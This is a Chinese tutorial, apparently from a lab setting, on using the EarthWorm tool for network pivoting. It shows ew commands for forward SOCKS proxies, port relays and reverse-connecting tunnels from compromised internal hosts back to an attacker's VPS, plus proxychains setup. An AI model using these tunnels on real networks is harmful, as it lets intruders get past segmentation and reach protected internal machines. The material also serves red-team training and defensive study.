使用ew实现socks代理和端口转发

一,攻击者连接跳板机,再访问目标机

使用ew进行网络穿透

http://rootkiter.com/EarthWorm/

网络拓扑

攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),这台服务器拥有内网IP地址(192.168.56.113),可以访问内网机器。

攻击者以服务器(192.168.1.8)为跳板,攻击内网机器(192.168.56.101)

跳板机操作

攻击者以某种手段控制了跳板机后,将ew_for_linux传到跳板机

mv ew_for_linux ew  //文件改名
./ew -s ssocksd -l 8888  //在8888端口上开启socks代理,ssocksd提供正向代理功能

攻击者连接到跳板机的8888端口之后,跳板机根据本机的路由表配置,将访问者的数据包从适当的网口转发出去。转发之后,包的源地址会被修改为这个出口的IP地址。

注意,在linux跳板机上转发数据包,内核的IP转发功能是需要开启的。

攻击者本地运行全局代理

以proxychains为例,说明全局代理的用法

apt install proxychains  //安装proxychains  
vi /etc/proxychains.conf  //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为跳板机上的ew监听的8888:
socks5  192.168.1.8 8888
#保存退出

telnet测试

proxychains telnet 192.168.56.101  //通过socks代理访问目标机

在目标机抓包,可以看到访问者的地址是跳板机的地址(192.168.56.113),也就是说,socks代理的工作是正常的。

二,攻击者连接跳板机,跳板机连接到内网跳板,内网跳板连接内网目标主机

使用ew进行网络穿透

http://rootkiter.com/EarthWorm/

网络拓扑

攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),该服务器有内网IP地址(192.168.56.113)。在目标网络中还有一台机器是被控制的,IP地址为192.168.56.107,跳板机可以发起到这台内网跳板的连接。然后访问目标机(192.168.56.101)

攻击者首先连接到跳板机,再连接到内网跳板,最后访问内网目标机器(192.168.56.101)。

这里跳板机主动连接内网跳板机。

内网跳板机操作

./ew -s ssocksd -l 8888  //利用ssocksd方式启动8888端口的socks代理

跳板机操作

./ew -s lcx_tran -l 1080 -f 192.168.56.107 -g 8888  //将本机1080端口收到的socks代理请求转交给内网跳板

攻击者操作

通过访问跳板机的1080端口来使用内网跳板提供的socks5代理。

以proxychains为例,说明全局代理的用法

apt install proxychains  //安装proxychains  
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5  192.168.1.8 1080
#保存退出

telnet测试

proxychains telnet 192.168.56.101 //通过socks代理访问目标机(192.168.56.101)

三,攻击者连接跳板机,内网跳板反弹连接到跳板机,内网跳板连接内网目标主机

使用ew进行网络穿透

http://rootkiter.com/EarthWorm/

网络拓扑

攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8)。在目标网络中还有一台机器B是被控制的,IP地址10.0.2.15,这台机器可以反弹连接到跳板机A。

攻击者首先连接到跳板机A,再连接到内网跳板B,最后访问内网的目标机器(10.0.2.9)。

跳板机A上的操作

./ew -s rcsocks -l 1080 -e 8888  //添加转发隧道,将1080端口收到的代理请求转发给反连8888端口的主机

内网跳板B操作

./ew -s rssocks -d 192.168.1.8 -e 8888  //内网跳板反弹连接到跳板机的8888端口

攻击者操作

通过访问跳板机A的1080端口来使用主机B提供的socks5代理

以proxychains为例,说明全局代理的用法

apt install proxychains  //安装proxychains  
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5  192.168.1.8 1080
#保存退出

telnet测试

proxychains telnet 10.0.2.9 //通过socks代理访问目标机(10.0.2.9)

四,攻击者连接VPS,内网跳板A反弹连接VPS,A连接内网跳板B,B访问内网目标主机

使用ew进行网络穿透

http://rootkiter.com/EarthWorm/

网络拓扑

攻击者有自己的电脑(192.168.1.7)和一台VPS(192.168.1.8),并且控制了目标网络中的两台主机。其中主机A(192.168.56.114)无公网IP,无法访问内网的目标机,但是可以连接公网。另一台主机B(192.168.56.107)可以访问目标机(192.168.56.101),但是无法连接公网。主机A和主机B之间路由可达。

攻击者连接VPS,内网跳板A反弹连接VPS,A连接内网跳板B,B访问内网目标主机。

VPS上的操作

./ew -s lcx_listen -l 1080 -e 8888  //创建转发隧道,将本地1080端口收到的代理请求转发给连接自己8888端口的主机

主机B上的操作

ew -s ssocksd -l 9999  //以ssocksd方式启动9999端口的socks代理

主机A上的操作

ew -s lcx_slave -d 192.168.1.8 -e 8888 -f 192.168.56.107 -g 9999  //通过工具的lcx_slave方式,打通VPS的8888端口和主机B的9999端口之间的通讯隧道

攻击者操作

通过访问VPS的1080端口来使用主机B提供的socks5代理

以proxychains为例,说明全局代理的用法

apt install proxychains  //安装proxychains  
vi /etc/proxychains.conf //配置proxychains
#将最后一行的socks4注释掉,添加下面的行,端口为VPS上的ew监听的1080
socks5  192.168.1.8 1080
#保存退出

telnet测试

proxychains telnet 192.168.56.101 //通过socks代理访问目标机(192.168.56.101)

总结

earthworm提供六种链路状态,可通过-s参数进行选定,分别为:

ssocksd、rcsocks、rssocks  //提供socks代理功能
lcx_slave lcx_tran lcx_listen  //提供端口转发功能